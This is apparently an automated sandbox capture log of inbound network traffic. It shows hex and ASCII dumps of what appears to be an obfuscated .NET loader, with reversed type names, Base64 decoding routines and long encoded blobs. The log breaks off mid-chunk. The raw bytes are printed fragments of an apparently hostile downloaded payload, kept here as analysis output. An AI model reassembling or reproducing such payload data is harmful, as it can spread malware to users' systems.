2021-11-09 21:22:01 UTC	1356	IN	Data Raw: 3d 00 00 80 a5 50 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 33 00 38 00 39 00 36 00 31 00 30 00 45 00 43 00 59 00 41 00 77 00 71 00 4f 00 53 00 45 00 2b 00 46 00 68 00 59 00 62 00 4e 00 46 00 39 00 4b 00 49 00 54 00 51 00 64 00 4f 00 32 00 55 00 38 00 4a 00 58 00 78 00 74 00 00 80 b5 4f 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 Data Ascii: =PEgnidniBpcTxeMnoitarugifnoCledoMecivreSmetsyS389610ECYAwqOSE+FhYbNF9KITQdO2U8JXxtOEgnidniBpcTxeMnoitarugifnoCledoMecivreSme
2021-11-09 21:22:01 UTC	1357	IN	Data Raw: 70 00 6c 00 61 00 63 00 65 00 00 27 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 17 54 00 6f 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0d 4c 00 65 00 6e 00 67 00 74 00 68 00 00 13 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 00 1b 6d 00 73 00 54 00 50 00 5a 00 6d 00 51 00 58 00 64 00 41 00 50 00 70 00 65 00 00 70 c6 16 27 95 d0 e0 41 99 8f 09 f7 e8 ee 39 d8 00 80 9e 2e 01 80 84 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 50 65 72 6d 69 73 73 69 6f 6e 73 2e 53 65 63 75 72 69 74 79 50 65 72 6d 69 73 73 69 6f 6e 41 74 74 72 69 62 75 74 65 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 Data Ascii: place'FromBase64CharArrayToCharArrayLengthGetStringmsTPZmQXdAPpep'A9.System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neu
2021-11-09 21:22:01 UTC	1358	IN	Data Raw: 1c 0e 20 03 02 10 11 80 88 10 11 80 84 12 80 b5 07 20 02 02 18 0f 11 6c 0d 20 04 12 80 b5 18 0f 11 6c 12 80 b9 1c 05 20 02 09 18 18 0b 20 04 12 80 b5 18 18 12 80 b9 1c 06 20 01 09 12 80 b5 0b 20 06 09 18 10 18 09 10 09 09 09 11 20 08 12 80 b5 18 10 18 09 10 09 09 09 12 80 b9 1c 0a 20 03 09 10 18 10 09 12 80 b5 04 20 01 09 18 03 20 00 18 09 20 02 12 80 b5 12 80 b9 1c 06 20 01 18 12 80 b5 02 06 09 02 06 07 03 06 11 74 03 06 11 7c 02 06 08 02 06 06 04 06 11 80 94 08 01 00 08 00 00 00 00 00 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 01 08 01 00 02 00 00 00 00 00 06 20 01 01 11 80 c9 47 01 00 1a 2e 4e 45 54 46 72 61 6d 65 77 6f 72 6b 2c 56 65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 0e 14 46 72 61 6d Data Ascii: l l t\| TWrapNonExceptionThrows G.NETFramework,Version=v4.0TFram
2021-11-09 21:22:01 UTC	1360	IN	Data Raw: 00 6e 00 64 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 57 00 55 00 46 00 52 00 51 00 55 00 46 00 44 00 55 00 55 00 46 00 42 00 51 00 55 00 39 00 42 00 51 00 6b 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 4e 00 7a 00 61 00 6b 00 46 00 46 00 51 00 55 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 Data Ascii: ndFQUFBQUFBQUFBQUFBQUFDWUFRQUFDUUFBQU9BQkFBd0FBQUNzakFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
2021-11-09 21:22:01 UTC	1361	IN	Data Raw: 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 Data Ascii: UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
2021-11-09 21:22:01 UTC	1362	IN	Data Raw: 00 4a 00 52 00 51 00 55 00 46 00 79 00 64 00 30 00 46 00 42 00 63 00 6b 00 34 00 77 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 4a 00 4c 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 48 00 65 00 6b 00 46 00 4b 00 51 00 55 00 35 00 72 00 51 00 Data Ascii: JRQUFyd0FBck4wQUFBTUFBQUJLQUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQU5rQ
2021-11-09 21:22:01 UTC	1364	IN	Data Raw: 64 00 42 00 51 00 55 00 4a 00 44 00 61 00 6e 00 4a 00 42 00 51 00 55 00 46 00 48 00 53 00 33 00 64 00 33 00 55 00 6b 00 4a 00 49 00 64 00 6a 00 5a 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 39 00 76 00 51 00 55 00 46 00 42 00 57 00 56 00 52 00 43 00 61 00 45 00 56 00 48 00 53 00 30 00 4e 00 5a 00 51 00 55 00 46 00 42 00 62 00 7a 00 5a 00 4e 00 5a 00 30 00 56 00 42 00 51 00 55 00 4a 00 46 00 52 00 30 00 5a 00 74 00 4f 00 47 00 35 00 42 00 51 00 55 00 46 00 4c 00 52 00 58 00 64 00 6e 00 55 00 30 00 4e 00 44 00 5a 00 32 00 39 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 6c 00 72 00 51 00 55 00 46 00 42 00 62 00 31 00 4a 00 43 00 61 00 46 00 6c 00 59 00 59 00 6e 00 6c 00 76 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 4c 00 64 00 30 00 46 00 42 00 51 00 32 Data Ascii: dBQUJDanJBQUFHS3d3UkJIdjZBQUFFS09vQUFBWVRCaEVHS0NZQUFBbzZNZ0VBQUJFR0ZtOG5BQUFLRXdnU0NDZ29BQUFLYnlrQUFBb1JCaFlYYnlvQUFBb29Ld0FBQ2
2021-11-09 21:22:01 UTC	1365	IN	Data Raw: 00 69 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4e 00 43 00 4d 00 6a 00 68 00 4e 00 51 00 55 00 46 00 42 00 53 00 30 00 39 00 75 00 52 00 44 00 6b 00 76 00 4c 00 79 00 39 00 6c 00 51 00 32 00 64 00 6a 00 63 00 30 00 4a 00 6e 00 5a 00 48 00 5a 00 44 00 64 00 30 00 46 00 42 00 51 00 33 00 52 00 36 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 56 00 46 00 58 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 35 00 55 00 55 00 56 00 42 00 51 00 55 00 6c 00 7a 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 52 00 53 00 55 00 46 00 42 00 51 00 55 00 Data Ascii: iYndzQUFBcmNCMjhNQUFBS09uRDkvLy9lQ2djc0JnZHZDd0FBQ3R6ZUF5YmVBQVlxQUFBQVFXUUFBQUFBQUFEQ0FBQUF5UUVBQUlzQ0FBQURBQUFBRHdBQUFRSUFBQU
2021-11-09 21:22:01 UTC	1366	IN	Data Raw: 44 00 61 00 54 00 42 00 4b 00 52 00 56 00 46 00 61 00 64 00 6c 00 4a 00 33 00 52 00 55 00 46 00 43 00 61 00 58 00 4e 00 47 00 59 00 32 00 6c 00 7a 00 51 00 30 00 46 00 49 00 51 00 6e 00 5a 00 54 00 51 00 55 00 56 00 42 00 51 00 6d 00 68 00 46 00 52 00 30 00 56 00 52 00 57 00 6e 00 5a 00 54 00 55 00 55 00 56 00 42 00 51 00 6d 00 6c 00 6e 00 4f 00 45 00 46 00 42 00 51 00 55 00 74 00 4d 00 55 00 57 00 74 00 53 00 51 00 6d 00 30 00 35 00 53 00 6b 00 46 00 52 00 51 00 55 00 64 00 4c 00 64 00 31 00 5a 00 35 00 53 00 33 00 64 00 4a 00 51 00 57 00 4e 00 48 00 4f 00 55 00 74 00 42 00 55 00 55 00 46 00 48 00 4d 00 30 00 4a 00 46 00 52 00 32 00 49 00 77 00 61 00 30 00 4a 00 42 00 51 00 56 00 70 00 35 00 53 00 33 00 64 00 4a 00 51 00 57 00 4e 00 44 00 5a 00 7a 00 6c Data Ascii: DaTBKRVFadlJ3RUFCaXNGY2lzQ0FIQnZTQUVBQmhFR0VRWnZTUUVBQmlnOEFBQUtMUWtSQm05SkFRQUdLd1Z5S3dJQWNHOUtBUUFHM0JFR2Iwa0JBQVp5S3dJQWNDZzl
2021-11-09 21:22:01 UTC	1368	IN	Data Raw: 00 51 00 55 00 64 00 46 00 55 00 57 00 4e 00 53 00 51 00 6b 00 4a 00 46 00 52 00 6b 00 68 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4b 00 30 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 53 00 74 00 7a 00 51 00 55 00 46 00 42 00 52 00 32 00 4a 00 36 00 63 00 30 00 46 00 42 00 51 00 58 00 42 00 35 00 54 00 33 00 64 00 4a 00 51 00 57 00 4e 00 48 00 4f 00 55 00 46 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 70 00 42 00 51 00 6b 00 46 00 42 00 57 00 56 00 4a 00 43 00 65 00 45 00 56 00 46 00 52 00 56 00 46 00 56 00 59 00 57 00 70 00 57 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 4d 00 46 00 42 00 6e 00 51 00 55 00 46 00 Data Ascii: QUdFUWNSQkJFRkhvMWFBQUFCSmRDK0FBQUVLRGNBQUFwek9BQUFDbStzQUFBR2J6c0FBQXB5T3dJQWNHOUFBQUFLYnpBQkFBWVJCeEVFRVFVYWpWb0FBQUVsMFBnQUF
2021-11-09 21:22:01 UTC	1369	IN	Data Raw: 55 00 6b 00 4a 00 74 00 4f 00 55 00 5a 00 42 00 51 00 55 00 46 00 4c 00 52 00 56 00 46 00 56 00 57 00 46 00 64 00 43 00 54 00 55 00 5a 00 46 00 55 00 56 00 56 00 53 00 51 00 6b 00 63 00 72 00 63 00 55 00 46 00 42 00 51 00 55 00 64 00 51 00 65 00 6b 00 67 00 72 00 4c 00 79 00 38 00 76 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 54 00 6a 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 70 00 4c 00 61 00 30 00 5a 00 4e 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 68 00 5a 00 30 00 46 00 42 00 51 00 55 00 70 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00 4e 00 42 00 5a 00 30 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 42 Data Ascii: UkJtOUZBQUFLRVFVWFdCTUZFUVVSQkcrcUFBQUdQekgrLy8vZUF5YmVBTjRESnQ0QUJpb0pLa0ZNQUFBQUFBQUFhZ0FBQUpnQkFBQUNBZ0FBQXdBQUFBb0FBQUVBQUFB
2021-11-09 21:22:01 UTC	1370	IN	Data Raw: 00 6e 00 70 00 7a 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 48 00 64 00 30 00 56 00 42 00 51 00 6d 00 68 00 46 00 53 00 55 00 56 00 52 00 5a 00 48 00 5a 00 49 00 55 00 55 00 56 00 42 00 51 00 6d 00 68 00 46 00 53 00 55 00 56 00 33 00 59 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 4a 00 46 00 52 00 30 00 78 00 42 00 5a 00 30 00 64 00 46 00 55 00 56 00 70 00 32 00 55 00 6e 00 64 00 42 00 51 00 55 00 4e 00 6f 00 52 00 55 00 5a 00 47 00 4d 00 57 00 64 00 55 00 51 00 6c 00 4a 00 46 00 52 00 6b 00 56 00 52 00 55 00 6e 00 5a 00 78 00 5a 00 30 00 46 00 42 00 51 00 6d 00 6f 00 34 00 63 00 69 00 38 00 76 00 4c 00 79 00 38 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 45 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 Data Ascii: npzQUFBcHZHd0VBQmhFSUVRZHZIUUVBQmhFSUV3YmVBeWJlQUJFR0xBZ0dFUVp2UndBQUNoRUZGMWdUQlJFRkVRUnZxZ0FBQmo4ci8vLy8zZ01tM2dEZUF5YmVBQVlx
2021-11-09 21:22:01 UTC	1372	IN	Data Raw: 6b 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 32 00 52 00 36 00 55 00 6b 00 46 00 46 00 51 00 55 00 4a 00 6f 00 54 00 55 00 6c 00 46 00 55 00 57 00 64 00 53 00 51 00 6b 00 4a 00 46 00 52 00 6b 00 68 00 33 00 65 00 55 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 59 00 55 00 58 00 42 00 6e 00 51 00 55 00 46 00 43 00 51 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 32 00 63 00 6b 00 46 00 42 00 51 00 55 00 4a 00 74 00 4f 00 44 00 64 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 6f 00 77 00 51 00 6b 00 46 00 42 00 57 00 56 00 4a 00 44 00 51 00 6b 00 56 00 46 00 52 00 56 00 46 00 56 00 5a 00 6b 00 64 00 4a 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4d Data Ascii: kFBQUtFd2R6UkFFQUJoTUlFUWdSQkJFRkh3eU5XZ0FBQVNYUXBnQUFCQ2czQUFBS2N6Z0FBQXB2ckFBQUJtODdBQUFLYnowQkFBWVJDQkVFRVFVZkdJMWFBQUFCSmRDM
2021-11-09 21:22:01 UTC	1373	IN	Data Raw: 00 4e 00 5a 00 51 00 55 00 46 00 42 00 57 00 6e 00 5a 00 50 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 79 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 56 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 45 00 78 00 54 00 33 00 64 00 42 00 52 00 45 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 6b 00 31 00 33 00 51 00 57 00 64 00 42 00 62 00 6b 00 46 00 42 00 51 00 55 00 46 00 43 00 64 00 30 00 46 00 42 00 52 00 56 00 4a 00 6a 00 53 00 30 00 46 00 74 00 4f 00 55 00 31 00 42 00 51 00 55 00 46 00 4c 00 51 00 33 00 6c 00 7a 00 55 00 6b 00 46 00 74 00 4f 00 55 00 31 00 42 00 51 00 55 00 46 00 4c 00 51 00 33 00 64 00 5a 00 57 00 46 00 64 00 42 00 62 00 30 00 64 00 48 00 52 00 45 00 56 00 44 00 51 00 Data Ascii: NZQUFBWnZPd0FBQ2dyZUF5YmVBQVlxQVJBQUFBQUFCZ0ExT3dBRER3QUFBUk13QWdBbkFBQUFCd0FBRVJjS0FtOU1BQUFLQ3lzUkFtOU1BQUFLQ3dZWFdBb0dHREVDQ
2021-11-09 21:22:01 UTC	1374	IN	Data Raw: 6c 00 4c 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 52 00 47 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 78 00 42 00 55 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 54 00 55 00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 55 00 56 00 42 00 51 00 55 00 4e 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00 64 00 30 Data Ascii: lLM2dNbTNnRGVBeWJlQUFZcUFBQUFRVFFBQUFBQUFBQUxBUUFBR0FBQUFDTUJBQUFEQUFBQUR3QUFBUUFBQUFBTUFBQUFIQUVBQUNnQkFBQURBQUFBQ2dBQUFSc3dBd0
2021-11-09 21:22:01 UTC	1376	IN	Data Raw: 00 43 00 61 00 57 00 39 00 42 00 51 00 56 00 4a 00 33 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 4f 00 51 00 55 00 4a 00 4a 00 5a 00 6b 00 46 00 42 00 56 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 44 00 54 00 57 00 74 00 6e 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 4a 00 42 00 51 00 6b 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 33 00 64 00 42 00 51 00 55 00 56 00 59 00 54 00 6b 00 78 00 42 00 55 00 55 00 46 00 48 00 51 00 32 00 64 00 4b 00 64 00 6c 00 64 00 52 00 51 00 55 00 46 00 44 00 62 00 54 00 6c 00 69 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 36 00 61 00 57 00 70 00 42 00 51 00 55 00 46 00 42 00 51 00 6a 00 49 00 34 00 55 00 45 00 46 00 42 00 51 00 55 00 Data Ascii: CaW9BQVJ3QUFBSUFOQUJJZkFBVUFBQUFBQUFBQmdDTWtnQURDZ0FBQVJzd0JBQkFBUUFBQ3dBQUVYTkxBUUFHQ2dKdldRQUFDbTliQUFBS0N6aWpBQUFBQjI4UEFBQU
2021-11-09 21:22:01 UTC	1377	IN	Data Raw: 6e 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 4a 00 51 00 55 00 4a 00 6e 00 52 00 46 00 67 00 7a 00 55 00 55 00 4a 00 6f 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 64 00 36 00 51 00 55 00 70 00 42 00 53 00 57 00 74 00 43 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 56 00 4a 00 6a 00 65 00 47 00 74 00 42 00 51 00 55 00 46 00 76 00 53 00 30 00 46 00 75 00 4e 00 45 00 4e 00 42 00 55 00 55 00 46 00 46 00 53 00 6c 00 4d 00 77 00 57 00 45 00 70 00 75 00 4e 00 45 00 4a 00 42 00 55 00 55 00 46 00 46 00 4c 00 32 00 64 00 69 00 61 00 55 00 46 00 52 00 51 00 55 00 64 00 6a 00 65 00 47 00 39 00 42 00 51 00 55 00 46 00 76 00 62 00 47 00 64 Data Ascii: nQURDZ0FBQVFJQUJnRFgzUUJoQUFBQUFCNENLR0lBQUFvcUd6QUpBSWtCQUFBTUFBQVJjeGtBQUFvS0FuNENBUUFFSlMwWEpuNEJBUUFFL2diaUFRQUdjeG9BQUFvbGd
2021-11-09 21:22:01 UTC	1378	IN	Data Raw: 00 56 00 30 00 4e 00 42 00 51 00 55 00 46 00 48 00 4d 00 6a 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6a 00 49 00 34 00 54 00 55 00 46 00 42 00 51 00 55 00 74 00 50 00 63 00 30 00 51 00 72 00 4c 00 79 00 38 00 76 00 5a 00 55 00 4e 00 6e 00 59 00 33 00 4e 00 43 00 5a 00 32 00 52 00 32 00 51 00 33 00 64 00 42 00 51 00 55 00 4e 00 30 00 65 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 31 00 46 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 46 00 42 00 51 00 6a 00 5a 00 42 00 51 00 55 00 46 00 42 00 4d 00 32 00 64 00 42 00 51 00 55 00 46 00 47 00 5a 00 30 00 4a 00 42 00 51 00 55 00 46 00 50 00 51 00 55 00 46 00 Data Ascii: V0NBQUFHMjhMQUFBSzNONERKdDRBQjI4TUFBQUtPc0QrLy8vZUNnY3NCZ2R2Q3dBQUN0emVBeWJlQUFZcUFBQUFRV1FBQUFJQUFBQjZBQUFBM2dBQUFGZ0JBQUFPQUF
2021-11-09 21:22:01 UTC	1380	IN	Data Raw: 51 00 55 00 46 00 42 00 53 00 32 00 49 00 32 00 64 00 30 00 46 00 42 00 51 00 56 00 70 00 32 00 54 00 33 00 64 00 42 00 51 00 55 00 4e 00 74 00 4f 00 48 00 6c 00 42 00 55 00 55 00 46 00 48 00 52 00 56 00 46 00 5a 00 53 00 55 00 56 00 52 00 55 00 57 00 56 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 4f 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 5a 00 33 00 51 00 55 00 46 00 42 00 57 00 56 00 64 00 69 00 65 00 57 00 4e 00 42 00 51 00 55 00 46 00 76 00 5a 00 6b 00 31 00 6d 00 4e 00 45 00 4a 00 69 00 65 00 6c 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 6e 00 5a 00 31 00 4a 00 43 00 51 00 6e 00 6c 00 4f Data Ascii: QUFBS2I2d0FBQVp2T3dBQUNtOHlBUUFHRVFZSUVRUWVqVm9BQUFFbDBONEFBQVFvTndBQUNuTTRBQUFLYjZ3QUFBWVdieWNBQUFvZk1mNEJielFCQUFZUkJnZ1JCQnlO
2021-11-09 21:22:01 UTC	1381	IN	Data Raw: 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 57 00 39 00 76 00 57 00 46 00 46 00 42 00 51 00 55 00 4e 00 70 00 64 00 30 00 64 00 43 00 65 00 47 00 56 00 68 00 51 00 32 00 6c 00 7a 00 52 00 55 00 4a 00 34 00 59 00 57 00 46 00 44 00 64 00 44 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 6e 00 51 00 6d 00 39 00 69 00 5a 00 30 00 46 00 45 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43 00 55 00 55 00 4a 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 46 00 57 00 44 00 52 00 6c 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 45 00 Data Ascii: 2czQUFBS2N6Z0FBQW9vWFFBQUNpd0dCeGVhQ2lzRUJ4YWFDdDRESnQ0QUJpb0FBUkFBQUFBQUJnQm9iZ0FEQ2dBQUFSc3dCUUJ6QUFBQURnQUFFWDRlQUFBS0NnSWZE
2021-11-09 21:22:01 UTC	1382	IN	Data Raw: 55 00 46 00 42 00 51 00 57 00 39 00 6d 00 51 00 7a 00 51 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 4d 00 7a 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 70 00 5a 00 7a 00 56 00 42 00 51 00 55 00 46 00 4c 00 52 00 58 00 64 00 6e 00 55 00 6b 00 4e 00 44 00 5a 00 7a 00 5a 00 42 00 51 00 55 00 46 00 4c 00 54 00 32 00 55 00 34 00 51 00 55 00 46 00 42 00 51 00 6e 00 70 00 57 00 5a 00 30 00 46 00 42 00 51 00 32 00 68 00 4e 00 53 00 6b 00 56 00 52 00 61 00 31 00 4a 00 44 00 52 00 7a 00 6c 00 79 00 51 00 55 00 46 00 42 00 53 00 30 00 56 00 52 00 61 00 32 00 5a 00 55 00 53 00 54 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 Data Ascii: UFBQW9mQzQxYUFBQUJKZEMzQUFBRUtEY0FBQXB6T0FBQUNpZzVBQUFLRXdnUkNDZzZBQUFLT2U4QUFBQnpWZ0FBQ2hNSkVRa1JDRzlyQUFBS0VRa2ZUSTFhQUFBQkpkR
2021-11-09 21:22:01 UTC	1384	IN	Data Raw: 00 46 00 53 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 58 00 64 00 6e 00 53 00 57 00 39 00 5a 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 4a 00 62 00 32 00 4a 00 52 00 51 00 55 00 46 00 44 00 62 00 6b 00 74 00 43 00 51 00 58 00 64 00 43 00 64 00 32 00 4e 00 7a 00 4f 00 45 00 52 00 42 00 53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 52 00 72 00 51 00 55 00 46 00 42 00 62 00 32 00 38 00 79 00 51 00 55 00 46 00 42 00 51 00 6d 00 34 00 77 00 51 00 6b 00 46 00 42 00 51 00 55 00 56 00 4c 00 5a 00 30 00 46 00 